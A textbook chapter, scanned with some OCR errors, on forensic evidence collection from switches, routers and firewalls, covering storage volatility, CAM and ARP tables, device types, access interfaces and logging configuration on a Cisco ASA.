9.1 Storage Media

The types of storage used on switches, routers, and firewalls vary between manufacturers
and models. It is important for forensic investigators to be familiar with common types
of storage used in network equipment in order to properly prioritize evidence collection.
Understanding the volatility of data on different storage mediums is paramount, and as a
general rule evidence should be collected and preserved in order of volatility (beginning with
the most volatile first).

Common types of storage in switches, routers, and firewalls include (in approximate
order of volatility):

e Dynamic Random-Access Memory (DRAM) DRAM is very volatile and does
not retain data (for long) when power is turned off. It is commonly used to store run-
ning operating system configuration, process memory, routing tables, firewall statistics,
and more.

e Content-Addressable Memory (CAM) CAMisaspecial kind of very fast memory
used to store information that must be accessed extremely quickly. It is most famously
used on switches for storing tables that map MAC addresses to ports (hence the name
“CAM tables”). CAM is very volatile and does not retain data when power is turned off.

e Nonvolatile Random-Access Memory (NVRAM) NVRAM retains data when
the power is turned off, but can also be easily modified. The most common type of
NVRAM found in network equipment is “flash memory.” In routers, this often contains
a copy of the operating system used at boot, as well as startup configuration files.

e Hard drive Most switches, routers, and firewalls do not include a hard drive. How-
ever, general-purpose servers can be configured to act as routers or firewalls (i.e., a
Linux system running iptables). In these cases, the hard drive typically contains the
operating system, startup configuration, firewall logs, and an extensive amount of
other data. The data on a hard drive remains after the power is turned off.

e Read-Only Memory (ROM) ROM is a type of random-access memory that is
designed to permanently store data without modification (hence the name). ROM is
not designed to be routinely modified, although nowadays types of memory commonly
referred to as “ROM” can be reprogrammed in order to update firmware. For example,
on unmanaged switches, the operating system is typically stored in ROM. For more
capable and flexible managed switches and routers, the ROM typically contains a boot
loader, which loads the operating system and configuration from NVRAM. On fully
configurable Linux systems that are used as routers or firewalls, the ROM normally
contains the boot loader.

9.2 Switches

Switches are Layer 2/3 devices that connect multiple computers together to form a network.
Unlike hubs, switches isolate traffic on different switch ports, so that each switch port is a
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separate collision domain. This prevents Layer 1 interference between stations on different
switch ports and improves performance.

9.2.1 Why Investigate Switches?

Switches are typically involved in investigations for one of a few reasons:

e If you are trying to sniff traffic on a local segment, one of the easiest ways is to set up
port mirroring on the switch. See Chapter 3, “Evidence Acquisition,” for details.

e Switches contain tables that map client network card addresses (MAC addresses) to
physical ports on a switch. This can help you to physically track down a computer.

e Attackers may launch attacks designed to “confuse” the switch in order to bypass
network security restrictions or launch man-in-the-middle attacks. Forensic analysis of
the switch may help to identify and isolate attacks of this type.

9.2.2 Content-Addressable Memory Table

Ethernet switches typically contain a special type of very fast memory called CAM. This
memory holds a table, referred to as the “CAM table,” that dynamically maps MAC ad-
dresses to corresponding physical ports on the switch. When a frame comes into a port,
the switch looks up the destination MAC address in the CAM table to see which port it is
attached to. Then, it writes a copy of the frame to the port associated with the destination
MAC address.

For forensic investigators, the CAM table of an Ethernet switch can be very valuable,
since it contains the MAC addresses of the network cards communicating on the local subnet.
This table is very volatile and can change quickly, depending on network activity.

When an attacker is trying to sniff local network traffic, the CAM table often contains
clear evidence of suspicious activity.

Below is the CAM table from a Cisco ASA 5505 Version 8.3 with the hostname “ant-fw.”
Be careful—the CAM table reports “Age” as the number of seconds an entry has left before
it expires rather than the number of seconds that have transpired. MAC records expire after
five minutes, or 300 seconds.

ant-fw# show switch mac-address-table

Legend: Age - entry expiration time in seconds
Mac Address | VLAN | Type | Age | Port
0008.7458.482b 0001 dynamic 205 Et0/5
000b.cdc2.e491 0001 dynamic 123 Et0/3
0012.3f65.a7el 0001 dynamic 287 Et0/2
d0do0.fdc4.0994 0001 static - In0/1

| | | |
| | | |
| | | |
| | | |
ffff . ffff.ffff | 0001 | static broadcast | - | In0O/1,Et0/0-7
| | | |
| | | |
| | | |

5475.d0ba.511e 0002 dynamic 246 Et0/0
d0d0.fdc4.0994 0002 static - In0/1
ffff.ff£ff.f£f£ff 0002 static broadcast - In0O/1,Et0/0-7

Total Entries: 8
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9.2.3 Address Resolution Protocol

The Ethernet Address Resolution Protocol (ARP)? is designed to dynamically distribute
Layer 2 Ethernet addresses to systems on the local subnet. Hosts on the local subnet, and
many switches, maintain an ARP table in memory that maps MAC addresses to higher-layer
protocol addresses such as IP addresses.

On a typical Ethernet/IP network, the sender will use ARP to determine what MAC
address is in use by the destination system with which it wants to communicate (or the
local router), and will encapsulate an IP packet in an Ethernet frame with the appropriate
destination MAC. If the destination IP address is not local, it must encapsulate the frame
with the MAC address of the local gateway system.

Typically, ARP replies are cached for some period of time in an ARP table on each
system that participates on the local area network. This ARP cache can be inspected on
both Windows and Linux/UNIX systems via the ‘arp -a’ command. This is often the quickest
way to determine what MAC-to-IP mappings may be in place on a local host, although this
information could be spoofed.

Here is an example of an ARP table on a Cisco ASA 5505 Version 8.3 with the hostname
“ant-fw.” The lines shown are dynamic ARP entries. The number at the end of each line
represents the age of the ARP entry, in seconds.

ant-fw# show arp
inside 192.168.30.30 0008.742d.2f94 94
inside 192.168.30.100 0008.74fa.abcc 99
inside 192.168.30.102 0012.7964.£f718 470
inside 192.168.30.101 000b.cdc2.e491 480
inside 192.168.30.90 0008.74a0.2e02 4091
outside 172.30.1.5 0001.031a.d5f6 94
outside 172.30.1.254 5475.d0ba.522a 2160
dmz 10.30.30.20 0008.74d5.e0c4 409

In contrast, here is an ARP table from an Ubuntu Linux server:

arp -na

(192.168.30.101) at 00:0b:cd:c2:e4:91 [ether] on ethO
(10.30.30.20) at 00:08:74:d5:e0:c4 [ether] on ethl
(172.30.1.5) at 00:01:03:1a:d5:f6 [ether] on eth2
(172.30.1.254) at 54:75:d0:ba:52:2a [ether] on eth2

NN N N

Both systems show the MAC address, the corresponding IP address, and indicate the
associated interface.

9.2.4 Types of Switches

Since the introduction of the first Ethernet switch (essentially a multiport bridge) by
Kalpana in 1990, commercial options for switched technology have multiplied.?

2. David C. Plummer, “RFC 826—Converting Network Protocol Addresses to 48.bit Ethernet Address for
Transmission on Ethernet Hardware,” IETF, November 1982, http://www.rfc-editor.org/rfc/rfc826.txt.

3. Robert J. Kohlhepp, “Top 10 Most Important Products of the Decade: Number 5,” Network Comput-
ing, October 2, 2000, archived in the Internet Archive: Wayback Machine, http://web.archive.org/web/
20090218115819/http://www.networkcomputing.com/1119/1119f1products_5.html.
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9.2.4.1 Managed Switches

Managed switches are designed for enterprise environments. They typically include a variety
of features, such as:

e Support for VLANs

e Access control lists (ACLs)

e ARP caching

e 802.1x authentication

e Port mirroring

e Performance monitoring capabilities

e Event logging

Managed switches also typically support a variety of configuration interfaces, such as:

e Console (command-line interface [CLI])
e Remote console (SSH/Telnet)

e SNMP

e Web interface

e Proprietary interface (i.e., Cisco’s ASDM)

9.2.4.2 Smart Switches

“Smart” switches are a middle-of-the-road option for organizations that need some of the
features of managed switches, but may not want to purchase or configure an expensive,
fully-managed switch. Typically, smart switches include a limited set of features, such as:

e Support for VLANs
e ARP caching
e Port mirroring

e Performance monitoring capabilities

The exact features vary extensively between manufacturers and models. Commonly,
smart switches offer at least a web interface, and often a console and remote console
(SSH/Telnet) interface as well.

9.2.4.3 Unmanaged (or “Not-So-Smart”) Switches

Unmanaged switches are designed for “small office/home office” (SO/HO) or personal use.
They are normally plug-and-play, with no configuration interface, and tend to have limited
forensic value for this reason.
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9.2.5 Switch Evidence

In this section, we list the types of evidence that can be gathered from switches and discuss
relative volatility.

9.2.5.1 \Volatile

The majority of evidence on a switch tends to be volatile, stored in very fast memory such
as CAM, or RAM for less time-sensitive applications. Volatile evidence on a switch can
include:*

e Stored packets before they are forwarded

e CAM tables—MAC address to port mappings

e ARP table—MAC address to IP address mappings
e Access control lists

e I/0 memory

e Running configuration

e Processor memory

e Flow data and related statistics

9.2.5.2 Persistent

Switches also include persistent storage media that contain evidence such as:

e Operating system image
e Boot loader

e Startup configuration files

9.2.5.3 Off-System

Managed switches (and some smart switches) may support automatic exportation of log data
or flow data. Review the configuration files and architecture documents to identify these
remote storage systems and retrieve the data. In addition, backup copies of configuration
files are often stored on an external TFTP server.

9.3 Routers

Routers are (by definition) Layer 3 devices designed to pass packets between networks.
These days, pretty much every router has the ability to do some filtering at Layer 3 as

4. “Catalyst 6500/6000 Switches ARP or CAM Table Issues Troubleshooting—Cisco Systems,” October 27,
2009,  http://www.cisco.com/en/US/products/hw/switches/ps708/products_tech_note09186a00807347ab
.shtml.
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well. Most can examine Layer 4 sockets to some degree, and at least filter traffic based on
source/destination port.

9.3.1 Why Investigate Routers?
Routers are typically involved in investigations for one of a few reasons:

e Traffic of interest may traverse the router, resulting in associated flow data and related
records. (A router is one of the most basic logging devices you will find on any network
and also one of the most fundamental.)

e The network topology is key to understanding evidence and incidents, and is described
at Layer 3 by the aggregate of routing tables.

e The router itself may be compromised.

9.3.2 Types of Routers

There are many types of routers, designed and marketed for specilized uses, ranging from
core routers that provide a backbone of communication across an entire enterprise, to small-
scale routers designed to connect home computers to an ISP. Routers tend to be dedicated
physical appliances, not computers with GUI consoles (although they can be). The func-
tionality, form factor, and interfaces of routers vary extensively depending on the usage
model.

Much like switches, routers are available with a variety of features depending on the
class and expense of the device.

Broadly speaking, general classes of routers include enterprise, consumer, and “roll-your-

own.”

9.3.2.1 Enterprise

Enterprise-class routers are designed for use inside the enterprise, across WANSs, or by ISPs.
They tend to have extensive capabilities, such as:

e Stateful packet filtering

e Support for a wide variety of routing protocols (BGP, OSPF, etc)

e Multiprotocol Label Switching (MPLS)

e High-availability and high-throughput through failover and load balancing
e DHCP

e Network address translation (NAT)

e Quality-of-service (QoS)

e Performance monitoring capabilities

e Event logging

Very large-scale environments such as ISPs commonly buy extremely large arrays of
routers that provide all of this functionality with tremendous throughput.
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The interface options for enterprise-class routers include:
e Console (CLI)

e Remote console (SSH/Telnet)

e SNMP

Web interface

e Proprietary interface (i.e., Cisco’s ASDM)
e Central management interface such as the CiscoWorks Management Center

Enterprise-class devices are often managed using many-to-one interface models, such
as the CiscoWorks Management Center, which allow IT staff to centrally manage a fleet
of routers. Common enterprise routers include Juniper’s J-Series and Cisco’s ASA series
(replacing the PIX series, which has been deprecated).

9.3.2.2 Consumer

Individual home users and small offices use consumer-class routers to connect small LANs
to ISPs for Internet access. These devices are typically available at local retail stores, and
require little or no technical knowledge to set up and manage. The router may also be an
ISP-provided device, not something selected by the end-user or local business. The feature
set of consumer-class devices is limited, although modern routers of this type often include
features that were limited to enterprise-class devices only a few years ago.

Capabilities of consumer-class routers typically include:

e ISP connectivity (i.e., PPPoE)

e Port filtering

e DHCP

Bundled 802.11 (wireless) interface
e NAT

The configuration interface options for consumer-class routers tend to be limited to a
web interface. A few consumer-class devices may also include limited command-line access.
Typical consumer-class devices include Qwest DSL modem /router, cable modem/routers,
Linksys WRT54G wireless router, Apple Airport Express, etc.

9.3.2.3 Roll-Your-Own

It is possible to build your own router using general-purpose hardware and operating systems
(including Windows, Linux, and UNIX). This requires at least two network interfaces for
forwarding packets. The operating system must be configured to support IP forwarding.

Beyond this, the complexity, features, and configuration interfaces of the router are
limited only by the software running on the specific system, and the needs and imagination
of the administrator. Common software for roll-your-own routers includes iptables on Linux
and Zebra on UNIX.
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9.3.3 Router Evidence

In this section, we list the types of evidence that can be gathered from routers, categorized
by expected volatility.

9.3.3.1 \Volatile

As with switches, much of the evidence on a router tends to be volatile. This includes:®

e Routing tables

e Stored packets before they are forwarded

e Packet counts and statistics

e ARP table—MAC address to IP address mappings
e DHCP lease assignments

e Access control lists

e I/O memory

e Running configuration

e Processor memory

e Flow data and related statistics

9.3.3.2 Persistent

Commonly, the following files are maintained in persistent storage:

Operating system image

Boot loader

Startup configuration files

Access logs, DHCP logs, etc. (primarily for roll-your-own routers with hard drives)

9.3.3.3 Off-System

Routers tend to include very little, if any, writable persistent storage on board. However,
most enterprise-class devices can be configured to automatically export data to external
systems for storage, through syslog, FTP, TFTP, SNMP, and other means. Review the
capabilities of the specific make and model you are investigating, as well as the running
configuration information, to determine what, if any, data is being exported for storage
elsewhere. Review of external storage media can provide you with a wealth of information
such as the router access history, DHCP logs, backup configuration, flow records, and more.

5. “Cisco IOS Configuration Fundamentals Configuration Guide, Release 12.2—Maintaining System Memory
[Cisco IOS Software Releases 12.2 Mainline]—Cisco Systems,” 2011, http://www.cisco.com/en/US/docs/
ios/12_2/configfun/configuration/guide /fcf009 _ps1835_T'SD_Products_Configuration_Guide_Chapter.html
H#wp1008722.
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9.4 Firewalls

Firewalls are essentially souped-up routers capable of inspecting and filtering traffic to a
much higher degree. Early firewalls were most often built and configured by local system
administrators using general operating system tools and commercial or open-source firewall
software packages. However, general-purpose hardware introduced significant latency, and
as a result inspection capabilities were limited. Furthermore, system administrators were
not always well versed in operating system hardening procedures.

While early commercial and open-source firewall applications may have been well se-
cured, the underlying operating systems often contained major security vulnerabilities. As
that result, vendors began to offer firewalls as commercial standalone appliances. These were
designed to provide optimized hardware and a hardened, embedded operating system.

Today, the term “firewall” can refer to an extremely wide variety of equipment and
functionality, ranging from simple stateless packet filters to application-layer firewalls that
include content inspection.

9.4.1 Why Investigate Firewalls?

Firewalls often play a central role in network forensic investigations, for one of a few reasons:

e Firewall logs tend to include extensive information about connection attempts, whether
or not these were successful, and if so, how much data was transferred from source to
destination. Firewall logs may also include extensive details regarding protocols and
applications in use, or even packet contents.

e Firewall configuration can reveal whether services or data were exposed to the world,
or to systems of interest. It can also inform an investigator as to the type of evidence
that logs may or may not include.

e An investigator may need to modify firewall configuration in order to configure the
firewall to collect more evidence, or to gain access to systems of interest during the
course of an investigation.

e The firewall itself may be compromised.

9.4.2 Types of Firewalls

In 1994, in their seminal book on the topic, Cheswick and Bellovin defined three basic types
of firewalls. Although the technology has advanced in each of these categories, the same
general distinctions apply today:®

e Packet Filters Devices that route packets and can “allow” or “deny” traffic based
on source and destination addresses (at Layer 3) and Layer 4 protocol header informa-
tion such as TCP ports and flags. In 1994, technology did not allow for truly stateful
inspection of a connection, and so state was inferred based on TCP flags.

6. William Cheswick and Steven Bellovin, Firewalls and Internet Security: Repelling the Wily Hacker
(Boston: Addison-Wesley, 1994).
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e Session-Layer Proxies A device between the source and destination that inter-
cepts connections in order to make stateful decisions about whether the firewall will
establish or continue a connection on behalf of the endpoints. Note that when session-
layer proxies are in use, the source and destination do not establish connections di-
rectly with each other. Rather, they each establish a connection with the proxy, and
the proxy maintains state. Session-layer proxies are often designed to provide a man-
in-the-middle inteception of TLS- or SSL-encrypted traffic, to allow for decrypted
content inspection.

e Application Proxies Application proxies take this concept even further by inspect-
ing traffic all the way up to Layer 7. The precise protocols inspected and reconstructed
vary depending on the manufacturer, model, and purpose of the device.

These distinctions are important for forensic examiners because different types of fire-
walls generate and retain different types of evidence. The types of evidence available from
firewalls is usually constrained by the manner in which they inspect traffic and make
decisions.

For example, packet filters do the most shallow inspection of only a few Layer 3 and 4
protocol fields, and as a result can usually only record or log those values. On the other end
of the spectrum, an application proxy parsing and inspecting web traffic might be capable
of recording or logging URLs, content types of files transferred, file sizes, authentication
information, or even interesting snippets of page content.

General classes of firewalls include enterprise, consumer, and “roll-your-own.”

9.4.2.1 Enterprise-Class Firewalls

Enterprise-class firewalls are typically offered as part of an appliance that also includes
router and/or IDS functionality. However, more powerful enterprise-class firewalls, such as
session- or application-layer proxies, may be offered as standalone devices. Common features
of enterprise-class firewalls include:

o NAT

e DHCP

e VPN tunneling (such as IPsec, SSL, and others)
e Load balancing

e Fail-over

e Fragmentation reassembly

o Stateful packet filtering

e Performance monitoring capabilities

e Centralized management features

e Event logging

e Expansion slots for increased flash storage

e Content reassembly and inspection
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The interface options for enterprise-class firewalls include:

Console (CLI)

e Remote console (SSH/Telnet)
e SNMP

Web interface

Proprietary interface (i.e., Cisco’s ASDM)

e Central management interface such as Cisco’s MARS

9.4.2.2 Consumer-Class Firewalls

With consumer-class devices, a small set of firewall features are typically bundled into what
are primarily routers for ISP access. Common features of consumer-class firewalls include:

e NAT

e Packet filtering (perhaps semi-stateful, perhaps not)
e 802.11 interface

e DHCP

Some vendors do market dedicated “firewalls” for the small office/home office (SO/HO)
niche, but even these tend to be multipurpose devices. For example, Cisco’s ASA5505 is a
firewalling router with built-in switch ports, intended to be an “all-in-one” network device.
While this appliance supports many of the enterprise-class features of the larger, rack-
mounted ASAs, they are nonetheless more limited; VLANs are supported, but only a few,
and routing between more than three segments is not supported (despite having eight ports).

As discussed above, the configuration interface options for these consumer-class devices
tend to be limited to a web interface. A few consumer-class devices may also include limited
command-line access. Typical consumer-class devices include Qwest DSL modem/router,
cable modem/routers, Linksys WRT54G wireless router, Apple Airport Express, etc. (Per-
haps few people would consider an Airport Express a “firewall,” but to the extent that it
performs NAT and some amount of filtering, it can be used as such.)

9.4.2.3 Roll-Your-Own

In the early days, many firewalls (unlike routers) were distributed as commercial or open-
source software applications configured by administrators to run on general-purpose hard-
ware. As a result, there are many mature software firewall distributions that run on top of
general-purpose operating systems and equipment.

It is possible to build your own firewall using general-purpose hardware and operating
systems (including Windows, Linux, and UNIX). With Windows, this is typically done by
installing an ISA server on top of a Windows Server operating system. With Linux, iptables
is the native firewalling software included with common distributions. BSD uses ipfw, and
Solaris is distributed with ipf.
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9.4.3 Firewall Evidence

As with switches and routers, a great deal of evidence generated by firewalls is stored in
volatile memory. “Roll-your-own” firewalls, which are built on top of a general-purpose
operating system and hardware, tend to have more persistent storage available, since they
are usually built with COTS hard drives.

9.4.3.1 \Volatile
Volatile evidence gathered from a firewall can include:
e Current, running configuration, including;:
— Interface configurations
— ACLs and other firewall rules
— Tunnels and their current states
— Routing table and ARP cache
e Packet- and frame-level statistics
e Processor and I/O memory

e Command history

Note: Some aspects of the running configuration of routers is expected to be dynamic,
and therefore to diverge from the initial boot configuration—particularly routing tables,
which are constantly renegotiated through the Border Gateway Protocol (BGP) and other
protocols. Conversely, firewall configurations are intended to be fairly static in most ways.
For example, as with all networked devices, firewalls have routing tables too, but they are
usually statically defined in the startup configuration. That said, network administrators
sometimes make changes to firewall rules in memory without writing them to persistent
storage.

This can lead to a common error among inexperienced investigators, assuming that
the firewall configuration can be inspected by simply acquiring the startup configuration
(typically backed up somewhere more easily accessible than the firewall itself). However, a
savvy investigator will realize that the running configuration might have diverged from the
initial configuration—either through mishap or malice, and that any discrepancies found
between them might be useful evidence indeed!

9.4.3.2 Persistent

Firewalls do store evidence in less volatile forms, including:
e Initial boot load
e Startup configuration
e Other static binaries

e Access logs, DHCP logs, etc. (primarily for roll-your-own firewalls with hard drives)
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9.4.3.3 Off-System

The evidence that any given firewall can produce varies by make and model. As a general
rule, however, devices that include firewall capabilities tend to produce much richer logs and
other data than more rudimentary appliances such as routers and switches.

The process of recording activities, formatting such data into logs, and sending logs to
a central log host takes CPU cycles and memory away from the firewall’s primary task of
accurately filtering traffic without introducing unacceptable latency for the packets flowing
through it. Consequently, firewall software engineers usually refrain from enabling extensive
event logging by default. On the other hand, any of the protocol details that the firewall has
already had to parse, packet-by-packet, layer-by-layer, may be included in default logging.

Firewall appliances usually have little, if any, local writable storage. Fortunately, modern
enterprise-class firewalls typically include built-in capabilities for exportation of firewall logs
and other information of interest. Research the make and model of firewall that you are
investigating to determine its precise capabilities, and then review active configuration files
to identify remote systems that are used as off-system storage.

Evidence of an exported off-system may include, among other things:

e Firewall logs
e Access history

e Backups of configurations

0.5 Interfaces

We'’ve discussed the various types of routers, switches, and firewalls in common use, and
the types of evidence found on each. Now let’s discuss how you can actually get access to
evidence.

As before, the types of interfaces and supported features vary greatly based on the
manufacturer and model of a particular device. Switch, router, and firewall web interfaces
are usually password-protected, so you will need to obtain the appropriate username and
password before logging in. If the password is unknown, it may be necessary to reboot
or even reset the device in order to gain access to configuration details. This is highly
undesirable since it results in the loss of volatile data. If you do not have access credentials
for a device, it is generally worth trying to use default manufacturer passwords, which are
often published online, or at least conduct an inspection without access (see Section 3.3.2,
“Inspection Without Access”).

For managed or enterprise-class devices, there may be multiple levels of privilege avail-
able. Forensic analysts typically need the highest level of privilege, which allows full access
to all configuration details, although this can vary depending on the investigation.

Types of interfaces on switches, routers, and firewalls are discussed next.

9.5.1 Web Interface

Nearly all consumer and enterprise-class routers and firewalls, as well as managed switches,
include a web interface. Web interfaces are very portable and easy for users to manage.
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While web interfaces often allow you to view (and modify) device configuration and logs,
in many cases, they do not allow you to easily export data in a format suitable for convenient
analysis. For example, configuration details may be split across multiple pages of the site. If
you only need to retrieve a small amount of data, a simple screenshot or manually saving a
page’s source code might suffice. However, if you are not sure what you are looking for, or
if your goal is to retrieve extensive amounts of information, manual page-by-page collection
does not scale. In these situations, if there is no easy export function, a client-side web
proxy such as Burp can be very helpful for spidering the site after login and automatically
retrieving data stored on all pages of the site.”

Simply browsing a web interface significantly modifies the volatile memory of a device.
The device necessarily runs a web server, which copies web pages into memory in order to
serve them to the end-user. Accessing the web interface also generates network traffic, and
may modify router statistics, flow record data, and access logs. If the web interface is not
encrypted, this can lead to exposure of login credentials or evidence. Always keep a careful
record of your actions. If you must modify the system configuration, record your changes
and collect screen captures or other documentation whenever possible.

9.5.2 Console Command-Line Interface (CLI)

Most enterprise-class routers and firewalls, as well as many managed switches, include a serial
interface that allows direct command-line access to the system console. (There are USB-to-
serial connectors available that allow laptops or forensic workstations that do not have
serial ports to connect to the serial console via USB.) The functionality available through
this command-line interface varies greatly depending on the device’s operating system. On
enterprise-class devices running, for example, Cisco IOS, the command-line interface allows
you to retrieve extensive running configuration details, list the contents of flash memory,
output CAM and ARP tables, retrieve VLAN configuration, and much more. It also allows
you to modify the device configuration and export data to external systems.

When you connect via console, it is best to keep a record of all your commands and
output. This can be done using client-side tools; for example, the “screen” command on
Linux includes an option (-L) for keeping a full log of the session. Not only will it save
you the effort of having to manually export command output, it will also provide excellent
documentation of your forensic investigative techniques.

Here is an example of a console connection from a Linux laptop to a Cisco ASA 5505
with the hostname “ant-fw.” The connection was made using “screen” and a Keyspan serial-
to-USB connector:

$ screen -L /dev/ttyUSBO

ant-fw> enable

Password:

ant-fw# show clock

16:50:25.364 MDT Tue Apr 26 2011

ant-fw# show version

Cisco Adaptive Security Appliance Software Version 8.3(2)
Device Manager Version 5.2(4)

Compiled on Fri 30-Jul-10 17:49 by builders

7. “Burp Suite,” PortSwigger Web Security, 2011, http://www.portswigger.net/burp/.
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System image file is "diskO:/asa832-k8.bin"

Config file at boot was "startup-config"

ant-fw up 1 hour 48 mins

Hardware: ASA5505, 512 MB RAM, CPU Geode 500 MHz
Internal ATA Compact Flash, 128MB

BIOS Flash Mb50FW016 @ O0xfff00000, 2048KB

Encryption hardware device : Cisco ASA-5505 on-board accelerator (revision 0
x0)
Boot microcode : CN1000-MC-BOOT-2.00
SSL/IKE microcode: CNLite-MC-SSLm-PLUS-2.03
IPSec microcode : CNlite-MC-IPSECm-MAIN-2.06
0: Int: Internal-DataO/0 : address is d0d0.fdc4.0994, irq 11
1: Ext: Ethernet0/0 : address is d0dO0.fdc4.098c, irq 255

ant-fw(config)# show run

Saved
ASA Version 8.3(2)
hostname ant-fw
domain-name example.com
enable password XXXXXXXXXXXXXXXX encrypted
passwd XXXXXXXXXXXXXXXX encrypted
names
interface Vlani

nameif inside

security-level 100

ip address 192.168.30.10 255.255.255.0
interface Vlan2

nameif outside

security-level O

ip address 172.30.1.253 255.255.255.0
interface Vlan3

no forward interface Vlanl

nameif dmz

security-level 50

ip address 10.30.30.10 255.255.255.0
interface Ethernet0/0

Connecting to a device via serial console is usually the least impactful way to conduct a
live examination of a device and retrieve volatile evidence. While console connections do, of
course, create changes in the device’s dynamic memory, the memory usage is far less than
that of a web server. Furthermore, console connections do not create network traffic, and
therefore do not modify router statistics or flow record data.

0.5.3 Remote Command-Line Interface

Managed switches and enterprise-class routers and firewalls may include network-accessible
command-line interfaces. Typically, these are accessed over the network through a Telnet
or SSH service. The functionality and commands are usually the same as a serial console
connection.

When accessing a device over the network, it is important to recognize that the act
of connecting to the device in this manner necessarily generates network traffic, and can
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modify router statistics and access logs in addition to the device memory itself. Also, if the
device only supports unencrypted Telnet connections and does not include an encrypted
remote command-line service such as SSH, then device credentials and evidence may be
exposed in transit. Always be cautious when connecting to a router, switch, or firewall over
the network, and use a direct console connection instead whenever possible.

9.5.4 Simple Network Management Protocol (SNMP)

Many network devices are configured to use SNMP for central management, both with
respect to gathering information and setting configuration values remotely. For forensic
investigators, SNMP can also also be a very useful tool for collecting evidence stored on a
device. Typically, SNMP agents are password-protected by “community strings” that limit
read and write access. By default, these are often set to “public” and “private,” where
the former string allows read access only, and the latter also allows write access. Many
organizations never change the default SNMP community strings for a device.

Forensic investigators can leverage SNMP to gather information ranging from device
software version and current time, to routing and network interface details. This is one way
that you may be able to retrieve CAM table information from switches, routing tables from
routers, and ACLs from a firewall. With the appropriate authentication credentials, it may
also be possible to modify the device configuration.

Many SNMP agents are not configured to support encryption. Be aware that by con-
necting to the agent, you may reveal the authentication credentials and subsequent data
transfers to others monitoring the local network. As of SNMPv3, encryption is supported.
However, many network devices and management applications still do not support SNMPv3.

Common SNMP managers in use include SolarWinds Network Management Software
and the open-source Net-SNMP suite. (Please see Chapter 3, “Evidence Acquisition,” for
more details.)

9.5.5 Proprietary Interface

Many device manufacturers develop their own proprietary interfaces for managing switches,
routers, and firewalls. Often, these require special client-side software for connecting to the
device. This can be challenging for forensic examiners because your examiner’s workstation
may not support the software required.

Portable web-based interfaces are gaining in popularity. However, because network de-
vices often stay in production for many years, forensic examiners will still encounter propri-
etary interfaces for many years to come.

Apple’s AirPort Express wireless router /switch interface is a very common example. The
AirPort Utility application ships natively with all current Mac OS X operating systems, and
a Windows equivalent is freely available. At the time of publication of this book, Apple has
not released a version of the AirPort utility for Linux.

Cisco’s VMS, CiscoWorks, and ASDM are examples of Java-based proprietary interfaces
designed for managing Cisco network devices. You will need to have a compatible JVM
installed on your client system in order for these to work.
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9.6 Logging

Forensic investigators may find device logs to be useful repositories of evidence relevant to a
case. You may also wish to enable or modify a device’s logging configuration so as to gather
new evidence, or to keep an accurate record of your own activities.

Here is an example of the logging configuration gathered from a Cisco ASA 5505 Version
8.3 with the hostname “ant-fw”:

ant-fw(config)# show logging
Syslog logging: enabled
Facility: 20
Timestamp logging: enabled
Standby logging: disabled
Deny Conn when Queue Full: disabled
Console logging: level notifications, 39 messages logged
Monitor logging: level notifications, 39 messages logged
Buffer logging: disabled
Trap logging: level informational, facility 20, 78 messages logged
Logging to inside 192.168.30.30
History logging: disabled
Device ID: hostname "ant-fw"
Mail logging: disabled
ASDM logging: level informational, 78 messages logged

In the example above, the firewall (“ant-fw”) is configured to send syslog logs to a remote
host, 192.168.30.30. Various other logs are also enabled, including console logging, monitor
logging, and ASDM logging.

9.6.1 Local Logging

Virtually all switches, routers, and firewalls perform some amount of event recording by
default, and do so by writing out event logs to whatever local media is available. Unfortu-
nately for the investigator, this is usually highly volatile and extremely limited in volume.
In some cases, unless you happen to be watching the console when the event occurs, the
information will be lost forever.

9.6.1.1 Console

A common example of local logging is “console” logging, in which events are displayed
in real-time on the CLI console, interrupting whatever interactive session was occurring
there—a practice that persists as a legacy of earlier times. Many devices (still including
many UNIX and UNIX-like systems) default to logging the most critical events to the
console on the notion that an operator is perched in front of a single system’s console, ready
to respond. (In the case of networking equipment it is entirely possible that a console hasn’t
been connected and viewed since the device was first configured and deployed, if ever.)
Below is an example of enabling console logs with timestamps on a Cisco ASA 5505
Version 8.3. Notice that once the command “logging console 5” was executed, the system
immediately began printing event logs to the console (see the text that begins with a date).
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ant-fw(config-if)# logging enable

ant-fw(config)# logging timestamp

ant-fw(config)# logging console 5

ant-fw(config)# Apr 13 2011 06:32:29: %ASA-5-111008: User 'enable_15'
executed the 'logging console 5' command.

Apr 13 2011 06:32:29: %ASA-5-111010: User 'enable_15', running 'CLI' from IP
0.0.0.0, executed 'logging console 5'

If you are connected to the console via an intermediary system (recommended), you
can capture console logs by recording your console session with a tool such as “screen,” as
follows:

$ screen -L /dev/ttyUSBO
ant -fw>

On the other hand, if you are connected to the console via a dumb terminal, your best
bet for capturing console logs may literally be a camera, provided they aren’t scrolling by
so fast as to preclude such methods.

9.6.1.2 Terminal

Similar to console logging is terminal logging, which simply logs events in the same real-
time interruptive method to whichever CLI happens to be presently connected, locally or
remotely. These can be recorded by a terminal capturing program on the client, such as
“script,” which will record all of the input and output of a terminal session to a file on the
investigator’s workstation.

The example below demonstrates use of the program “script,” which records a copy of
all subsequent input and output in the terminal. You can see that right after the “script”
command was run, the user ran “SSH” to connect to 192.168.1.1. The SSH command shown,
as well as all input and output from the SSH session to follow, would be recorded in the
local logfile “logfile.txt.”

$ script -a logfile.txt
Script started, file is logfile.txt
$ ssh fwadmin@192.168.1.1

9.6.1.3 Buffered

Depending on the switch, router, or firewall’s capabilities, you may be able to designate a
portion of the device’s memory to be used for storing buffered logs, which users can opt
to view when they are logged into the device. Buffered logs are volatile and are lost when
the device loses power. They may also be overwritten when memory space is low. Flooding
buffered logs by generating extraneous events is a time-honored way for attackers to obscure
their events from responders, analysts, and investigators alike.

9.6.2 Simple Network Management Protocol

Previously we’ve discussed how SNMP can be used to actively collect data from devices
(through the GET, GETNEXT, and GETBULK methods) or to modify device
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configurations (via SET methods). However, the protocol is also designed to allow SNMP
agents to push data outbound in an event-driven manner using “traps.” Since SNMP is
perhaps the most widely supported management protocol deployed on network equipment,
SNMP traps are probably the most widely available means of exporting event data from
them. (Then again, “most widely available” doesn’t necessarily mean the “most widely
used.”)

From an investigator’s perspective, there are a few ways this medium can be useful. If
SNMP traps are already being sent to a central logging server, one can be hopeful that they
can be obtained from the central logging server and inspected within the context of other
activity. If, on the other hand, the network layer is more immediately accessible than the
log host, the SNMP traps can be captured just like any other traffic. This is especially easy
because SNMP traps are normally sent unencrypted via UDP across the network.

If you’re in search of real-time data, our advice is to sniff for SNMP traps, even if they’re
not being intentionally utilized by enterprise staff.

9.6.3 syslog

Syslog is one of the oldest and most widely used remote logging systems. It is supported
by many types of network devices, inclusing those running Cisco IOS and most Linux- and
